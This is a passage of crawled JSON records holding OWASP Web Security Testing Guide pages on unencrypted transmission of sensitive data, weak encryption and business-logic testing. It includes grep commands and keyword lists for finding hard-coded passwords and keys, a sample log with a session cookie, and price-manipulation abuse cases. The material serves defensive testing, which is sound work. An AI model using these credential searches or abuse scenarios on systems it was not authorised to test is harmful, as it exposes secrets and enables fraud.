sensitive data are:\n\n- Information used in authentication (e.g. Credentials, PINs, Session identifiers, Tokens, Cookies…)\n- Information protected by laws, regulations or specific organizational policy (e.g. Credit Cards, Customers data)\n\nIf the application transmits sensitive information via unencrypted channels - e.g. HTTP - it is considered a security risk. Some examples are Basic authentication which sends authentication credentials in plain-text over HTTP, form based authentication credentials sent via HTTP, or plain-text transmission of any other information considered sensitive due to regulations, laws, organizational policy or application business logic.\n\nExamples for Personal Identifying Information (PII) are:\n\n- Social security numbers\n- Bank account numbers\n- Passport information\n- Healthcare related information\n- Medical insurance information\n- Student information\n- Credit and debit card numbers\n- Drivers license and State ID information\n\n## How to Test\n\nVarious types of information that must be protected, could be transmitted by the application in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS, or whether weak ciphers are used. See more information about insecure transmission of credentials [OWASP Top 10 2017 A3-Sensitive Data Exposure](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A3-Sensitive_Data_Exposure) or [Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html).\n\n### Example 1: Basic Authentication over HTTP\n\nA typical example is the usage of Basic Authentication over HTTP. When using Basic Authentication, user credentials are encoded rather than encrypted, and are sent as HTTP headers. In the example below the tester uses [curl](https://curl.haxx.se/) to test for this issue. Note how the application uses Basic authentication, and HTTP rather than HTTPS\n\n```\n$ curl -kis http://example.com/restricted/\nHTTP/1.1 401 Authorization Required\nDate: Fri, 01 Aug 2013 00:00:00 GMT\nWWW-Authenticate: Basic realm=\"Restricted Area\"\nAccept-Ranges: bytes Vary:\nAccept-Encoding Content-Length: 162\nContent-Type: text/html\n\n401 Authorization Required\n

401 Authorization Required

Invalid login credentials! \n```\n\n### Example 2: Form-Based Authentication Performed over HTTP\n\nAnother typical example is authentication forms which transmit user authentication credentials over HTTP. In the example below one can see HTTP being used in the `action` attribute of the form. It is also possible to see this issue by examining the HTTP traffic with an interception proxy.\n\n```\n

\n```\n\nThe Session ID Cookie must be transmitted over protected channels. If the cookie does not have the [secure flag](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes) set, it is permitted for the application to transmit it unencrypted. Note below the setting of the cookie is done without the Secure flag, and the entire log in process is performed in HTTP and not HTTPS.\n\n```\nhttps://secure.example.com/login\n\nPOST /login HTTP/1.1\nHost: secure.example.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://secure.example.com/\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 188\n\nHTTP/1.1 302 Found\nDate: Tue, 03 Dec 2013 21:18:55 GMT\nServer: Apache\nCache-Control: no-store, no-cache, must-revalidate, max-age=0\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\nPragma: no-cache\nSet-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT; path=/; domain=example.com; httponly\nLocation: private/\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nX-Frame-Options: SAMEORIGIN\nContent-Length: 0\nKeep-Alive: timeout=1, max=100\nConnection: Keep-Alive\nContent-Type: text/html\n\n----------------------------------------------------------\nhttp://example.com/private\n\nGET /private HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://secure.example.com/login\nCookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;\nConnection: keep-alive\n\nHTTP/1.1 200 OK\nCache-Control: no-store\nPragma: no-cache\nExpires: 0\nContent-Type: text/html;charset=UTF-8\nContent-Length: 730\nDate: Tue, 25 Dec 2013 00:00:00 GMT\n---------------------------------------------------------- \n```\n\n### Example 4: Testing Password Sensitive Information in Source Code or Logs\n\nUse one of the following techniques to search for senstive information.\n\nChecking if password or encyrption key is hardcoded in the source code or configuration files.\n\n`grep -r –E \"Pass | password | pwd |user | guest| admin | encry | key | decrypt | sharekey \" ./PathToSearch/`\n\nChecking if logs or source code may contain phone number, email address, ID or any other PII. Change the regular expression based on the format of the PII.\n\n`grep -r \" {2\\}[0-9]\\{6\\} \" ./PathToSearch/`\n\n## Tools\n\n- [curl](https://curl.haxx.se/)\n- [grep](http://man7.org/linux/man-pages/man1/egrep.1.html)\n- [Identity Finder](https://download.cnet.com/Identity-Finder-Free-Edition/3000-2144_4-10906766.html)\n- [Wireshark](https://www.wireshark.org/)\n- [TCPDUMP](https://www.tcpdump.org/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7040, "slov": 847, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:18", "sha256": "43901a00d89723eb2e10158127136c6953b1450d44917e4d2abfe0826c228b76", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x17-V9-Communications.md", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://curl.haxx.se/", "http://man7.org/linux/man-pages/man1/egrep.1.html", "https://download.cnet.com/Identity-Finder-Free-Edition/3000-2144_4-10906766.html", "https://www.wireshark.org/", "https://www.tcpdump.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Weak Encryption"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Basic Security Checklist"}, {"uroven": 3, "text": "Source Code Review"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Testing for Weak Encryption\n\n| ID |\n| --- |\n| WSTG-CRYP-04 |\n\n## Summary\n\nIncorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such as MD5 and RC4.\n\nIn addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption.\n\nThe testing guide is trying to provide a guideline how to identify the weak encryption and hash.\n\n## How to Test\n\n### Basic Security Checklist\n\n- When the uses of AES128 and AES256, The IV (Initialization Vector) must be random and unpredictable. Refer to [FIPS 140-2, Security Requirements for Cryptographic Modules](https://csrc.nist.gov/publications/detail/fips/140/2/final) , section 4.9.1. random number generator tests. For example, in Java, `java.util.Random` is considered a weak random number generator. `java.security.SecureRandom` should be used instead of `java.util.Random` .\n- When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.\n- When uses of RSA in signature, PSS padding is recommended.\n- Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)\n- Minimum Key length requirement:\n\n```\nKey exchange: Diffie–Hellman key exchange with minimum 2048 bits\nMessage Integrity: HMAC-SHA2\nMessage Hash: SHA2 256 bits\nAssymetric encryption: RSA 2048 bits\nSymmetric-key algorithm: AES 128 bits\nPassword Hashing: PBKDF2, Scrypt, Bcrypt\nECDH、ECDSA: 256 bits\n```\n\n- Uses of SSH, CBC mode should not be used.\n- When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.\n- When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000. [NIST](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5) also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.\n\n### Source Code Review\n\n- Search for the following keyword to check if any weak encryption algorithm is used.\n\n`MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB`\n\n- For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. For example,\n\n```\nSecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm) SecretKeySpec(byte[] key, int offset, int len, String algorithm) Cipher c = Cipher.getInstance(\"DES/CBC/PKCS5Padding\"); \n```\n\n- For RSA encryption, the following padding mode are suggested.\n\n```\nRSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)\nRSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)\n```\n\n- Search for `ECB` , it’s not allowed to be used in padding.\n- Review if different IV (initial Vector) is used.\n\n```\n// Use a different IV value for every encryption byte[] newIv = ...; s = new GCMParameterSpec(s.getTLen(), newIv); cipher.init(..., s); ... \n```\n\n- Search for `IvParameterSpec` , check if the IV value is generated differently and randomly.\n\n```\n IvParameterSpec iv = new IvParameterSpec(randBytes);  SecretKeySpec skey = new SecretKeySpec(key.getBytes(), \"AES\");  Cipher cipher = Cipher.getInstance(\"AES/CBC/PKCS5Padding\");  cipher.init(Cipher.ENCRYPT_MODE, skey, iv); \n```\n\n- In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:\n\n`MessageDigest md5 = MessageDigest.getInstance(\"MD5\");`\n\n- For signature, SHA1 and MD5 should not be used. For example:\n\n`Signature sig = Signature.getInstance(\"SHA1withRSA\");`\n\n- Search for `PBKDF2` . To generate the hash value of password, `PBKDF2` is suggested to be used. Review the parameters to generate the `PBKDF2` has value.\n\nThe iterations should be over **10000**, and the **salt** value should be generated as **random value**.\n\n```\nprivate static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)     throws NoSuchAlgorithmException, InvalidKeySpecException   {        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);        return skf.generateSecret(spec).getEncoded();    } \n```\n\n- Hard-coded sensitive information\n\n```\nUser related keywords: name, root, su, superuser, login, username, uid\nKey related keywords: public key, AK, SK, secret Key,  private key, passwd, password, pwd, share key, cryto, base64\nOther common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, privatekey\n```\n\n## Tools\n\n- Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH\n- Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.\n\n```\nCWE-261: Weak Cryptography for Passwords\nCWE-323: Reusing a Nonce, Key Pair in Encryption\nCWE-326: Inadequate Encryption Strength\nCWE-327: Use of a Broken or Risky Cryptographic Algorithm\nCWE-328: Reversible One-Way Hash\nCWE-329: Not Using a Random IV with CBC Mode\nCWE-330: Use of Insufficiently Random Values\nCWE-347: Improper Verification of Cryptographic Signature\nCWE-354: Improper Validation of Integrity Check Value\nCWE-547: Use of Hard-coded, Security-relevant Constants\nCWE-780 Use of RSA Algorithm without OAEP\n```\n\n## References\n\n- [NIST FIPS Standards](https://csrc.nist.gov/publications/fips)\n- [Wikipedia: Initialization Vector](https://en.wikipedia.org/wiki/Initialization_vector)\n- [Secure Coding - Generating Strong Random Numbers](https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers)\n- [Optimal Asymmetric Encryption Padding](https://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding)\n- [Cryptographic Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [Password Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [Secure Coding - Do not use insecure or weak cryptographic algorithms](https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms)\n- [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness)\n- [Insufficient Entropy](https://owasp.org/www-community/vulnerabilities/Insufficient_Entropy)\n- [Insufficient Session-ID Length](https://owasp.org/www-community/vulnerabilities/Insufficient_Session-ID_Length)\n- [Using a broken or risky cryptographic algorithm](https://owasp.org/www-community/vulnerabilities/Using_a_broken_or_risky_cryptographic_algorithm)\n- [Javax.crypto.cipher API](https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html)\n- ISO 18033-1:2015 – Encryption Algorithms\n- ISO 18033-2:2015 – Asymmetric Ciphers\n- ISO 18033-3:2015 – Block Ciphers\n\nTony Hsu - hsiang_chih[at]yahoo.com\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7083, "slov": 851, "odkazu": 189, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:19", "sha256": "94c37096462851dc4b6fb60c44c60bb5cc6367c96deda6be26198b56b43328a4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://csrc.nist.gov/publications/detail/fips/140/2/final", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://csrc.nist.gov/publications/fips", "https://en.wikipedia.org/wiki/Initialization_vector", "https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers", "https://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms", "https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "4.9 Testing for Weak Cryptography"}], "markdown": "# WSTG - v4.1\n\n# 4.9 Testing for Weak Cryptography\n\n4.9.1 [Testing for Weak SSL TLS Ciphers Insufficient Transport Layer Protection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_SSL_TLS_Ciphers_Insufficient_Transport_Layer_Protection)\n\n4.9.2 [Testing for Padding Oracle](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/02-Testing_for_Padding_Oracle)\n\n4.9.3 [Testing for Sensitive Information Sent via Unencrypted Channels](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/03-Testing_for_Sensitive_Information_Sent_via_Unencrypted_Channels)\n\n4.9.4 [Testing for Weak Encryption](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1016, "slov": 71, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:15", "sha256": "30e2661711cfe22d170a03b2c6e6d70e958ac17d3ff9f16a80527f552aaa303a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/00-Introduction_to_Business_Logic", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/00-Introduction_to_Business_Logic", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/00-Introduction_to_Business_Logic", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Introduction to Business Logic"}, {"uroven": 2, "text": "Business Limits and Restrictions"}, {"uroven": 2, "text": "Challenges of Logic Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 3, "text": "Intercepting Proxy"}, {"uroven": 3, "text": "Web Browser Plug-ins"}, {"uroven": 2, "text": "Miscellaneous Test Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}, {"uroven": 3, "text": "Useful Web Sites"}, {"uroven": 3, "text": "Books"}], "markdown": "# WSTG - v4.1\n\n# Introduction to Business Logic\n\nTesting for business logic flaws in a multi-functional dynamic web application requires thinking in unconventional methods. If an application’s authentication mechanism is developed with the intention of performing steps 1, 2, 3 in that specific order to authenticate a user. What happens if the user goes from step 1 straight to step 3? In this simplistic example, does the application provide access by failing open; deny access, or just error out with a 500 message?\n\nThere are many examples that can be made, but the one constant lesson is “think outside of conventional wisdom”. This type of vulnerability cannot be detected by a vulnerability scanner and relies upon the skills and creativity of the penetration tester. In addition, this type of vulnerability is usually one of the hardest to detect, and usually application specific but, at the same time, usually one of the most detrimental to the application, if exploited.\n\nThe classification of business logic flaws has been under-studied; although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles.\n\nTesting of business logic flaws is similar to the test types used by functional testers that focus on logical or finite state testing. These types of tests require that security professionals think a bit differently, develop abused and misuse cases and use many of the testing techniques embraced by functional testers. Automation of business logic abuse cases is not possible and remains a manual art relying on the skills of the tester and their knowledge of the complete business process and its rules.\n\n## Business Limits and Restrictions\n\nConsider the rules for the business function being provided by the application. Are there any limits or restrictions on people’s behavior? Then consider whether the application enforces those rules. It’s generally pretty easy to identify the test and analysis cases to verify the application if you’re familiar with the business. If you are a third-party tester, then you’re going to have to use your common sense and ask the business if different operations should be allowed by the application.\n\nSometimes, in very complex applications, the tester will not have a full understanding of every aspect of the application initially. In these situations, it is best to have the client walk the tester through the application, so that they may gain a better understanding of the limits and intended functionality of the application, before the actual test begins. Additionally, having a direct line to the developers (if possible) during testing will help out greatly, if any questions arise regarding the application’s functionality.\n\n## Challenges of Logic Testing\n\nAutomated tools find it hard to understand context, hence it’s up to a person to perform these kinds of tests. The following two examples will illustrate how understanding the functionality of the application, the developer’s intentions, and some creative “out-of-the-box” thinking can break the application’s logic. The first example starts with a simplistic parameter manipulation, whereas the second is a real world example of a multi-step process leading to completely subvert the application.\n\n**Example 1**:\n\nSuppose an e-commerce site allows users to select items to purchase, view a summary page and then tender the sale. What if an attacker was able to go back to the summary page, maintaining their same valid session and inject a lower cost for an item and complete the transaction, and then check out?\n\n**Example 2**:\n\nHolding/locking resources and keeping others from purchases these items online may result in attackers purchasing items at a lower price. The countermeasure to this problem is to implement timeouts and mechanisms to ensure that only the correct price can be charged.\n\n**Example 3**:\n\nWhat if a user was able to start a transaction linked to their club/loyalty account and then after points have been added to their account cancel out of the transaction? Will the points/credits still be applied to their account?\n\n## Tools\n\nWhile there are tools for testing and verifying that business processes are functioning correctly in valid situations these tools are incapable of detecting logical vulnerabilities. For example, tools have no means of detecting if a user is able to circumvent the business process flow through editing parameters, predicting resource names or escalating privileges to access restricted resources nor do they have any mechanism to help the human testers to suspect this state of affairs.\n\nThe following are some common tool types that can be useful in identifying business logic issues.\n\nWhen installing addons you should always be diligent in considering the permissions they request and your browser usage habits.\n\n### Intercepting Proxy\n\nTo Observe the Request and Response Blocks of HTTP Traffic\n\n- [OWASP Zed Attack Proxy](https://www.zaproxy.org)\n- [Burp Proxy](https://portswigger.net/burp)\n\n### Web Browser Plug-ins\n\nTo view and modify HTTP/HTTPS headers, post parameters, and observe the DOM of the Browser\n\n- [Tamper Data for FF Quantum](https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum)\n- [Tamper Chrome (for Google Chrome)](https://chrome.google.com/webstore/detail/tamper-chrome-extension/hifhgpdkfodlpnlmlnmhchnkepplebkb)\n\n## Miscellaneous Test Tools\n\n- [Web Developer toolbar](https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm)\n\nThe Web Developer extension adds a toolbar button to the browser with various web developer tools. This is the official port of the Web Developer extension for Firefox.\n\n- [HTTP Request Maker for Chrome](https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp)\n- [HTTP Request Maker for Firefox](https://addons.mozilla.org/en-US/firefox/addon/http-request-maker)\n\nRequest Maker is a tool for penetration testing. With it you can easily capture requests made by web pages, tamper with the URL, headers and POST data and, of course, make new requests\n\n- [Cookie Editor for Chrome](https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg)\n- [Cookie Editor for Firefox](https://addons.mozilla.org/en-US/firefox/addon/cookie-editor)\n\nCookie Editor is a cookie manager. You can add, delete, edit, search, protect, and block cookies\n\n## References\n\n### Whitepapers\n\n- [The Common Misuse Scoring System (CMSS): Metrics for Software Feature Misuse Vulnerabilities - NISTIR 7864](https://csrc.nist.gov/publications/detail/nistir/7864/final)\n- [Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems, Faisal Nabi](http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf)\n- [Finite State testing of Graphical User Interfaces, Fevzi Belli](https://pdfs.semanticscholar.org/b57c/6c8022abfd2cb17ec785d3622027b3edfaaf.pdf)\n- [Principles and Methods of Testing Finite State Machines - A Survey, David Lee, Mihalis Yannakakis](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.380.3405&rep=rep1&type=pdf)\n- [Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin Choi](https://www.researchgate.net/publication/220677013_Security_issues_in_online_games)\n- [Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik, McAfee](https://www.info-point-security.com/open_downloads/2008/McAfee_wp_online_gaming_0808.pdf)\n- [Seven Business Logic Flaws That Put Your Website At Risk – Jeremiah Grossman Founder and CTO, WhiteHat Security](https://www.slideshare.net/jeremiahgrossman/seven-business-logic-flaws-that-put-your-website-at-risk-harvard-07062008)\n- [Toward Automated Detection of Logic Vulnerabilities in Web Applications - Viktoria Felmetsger Ludovico Cavedon Christopher Kruegel Giovanni Vigna](https://www.usenix.org/legacy/event/sec10/tech/full_papers/Felmetsger.pdf)\n\n- [How to Prevent Business Flaws Vulnerabilities in Web Applications, Marco Morana](http://www.slideshare.net/marco_morana/issa-louisville-2010morana)\n\n### Useful Web Sites\n\n- [Abuse of Functionality](http://projects.webappsec.org/w/page/13246913/Abuse-of-Functionality)\n- [Business logic](https://en.wikipedia.org/wiki/Business_logic)\n- [Business Logic Flaws and Yahoo Games](http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html)\n- [CWE-840: Business Logic Errors](https://cwe.mitre.org/data/definitions/840.html)\n- [Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic](https://pdfs.semanticscholar.org/d14a/18f08f6488f903f2f691a1d159e95d8ee04f.pdf)\n- [Prevent application logic attacks with sound app security practices](http://searchappsecurity.techtarget.com/qna/0,289202,sid92_gci1213424,00.html?bucket=NEWS&topic=302570)\n- [Software Testing Lifecycle](http://softwaretestingfundamentals.com/software-testing-life-cycle/)\n\n### Books\n\n- [The Decision Model: A Business Logic Framework Linking Business and Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC Press, ISBN1420082817 (2010)](https://isbnsearch.org/isbn/1420082817)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9316, "slov": 1181, "odkazu": 201, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:21", "sha256": "e7846aa1986097eded032aae7f9be11e1388491a30dda3a1b1d5a6ccea3e2ad1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum", "https://chrome.google.com/webstore/detail/tamper-chrome-extension/hifhgpdkfodlpnlmlnmhchnkepplebkb", "https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm", "https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp", "https://addons.mozilla.org/en-US/firefox/addon/http-request-maker", "https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg", "https://addons.mozilla.org/en-US/firefox/addon/cookie-editor", "https://csrc.nist.gov/publications/detail/nistir/7864/final", "http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf", "https://pdfs.semanticscholar.org/b57c/6c8022abfd2cb17ec785d3622027b3edfaaf.pdf", "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.380.3405&rep=rep1&type=pdf", "https://www.researchgate.net/publication/220677013_Security_issues_in_online_games", "https://www.info-point-security.com/open_downloads/2008/McAfee_wp_online_gaming_0808.pdf", "https://www.slideshare.net/jeremiahgrossman/seven-business-logic-flaws-that-put-your-website-at-risk-harvard-07062008", "https://www.usenix.org/legacy/event/sec10/tech/full_papers/Felmetsger.pdf", "http://www.slideshare.net/marco_morana/issa-louisville-2010morana", "http://projects.webappsec.org/w/page/13246913/Abuse-of-Functionality", "https://en.wikipedia.org/wiki/Business_logic", "http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html", "https://cwe.mitre.org/data/definitions/840.html", "https://pdfs.semanticscholar.org/d14a/18f08f6488f903f2f691a1d159e95d8ee04f.pdf", 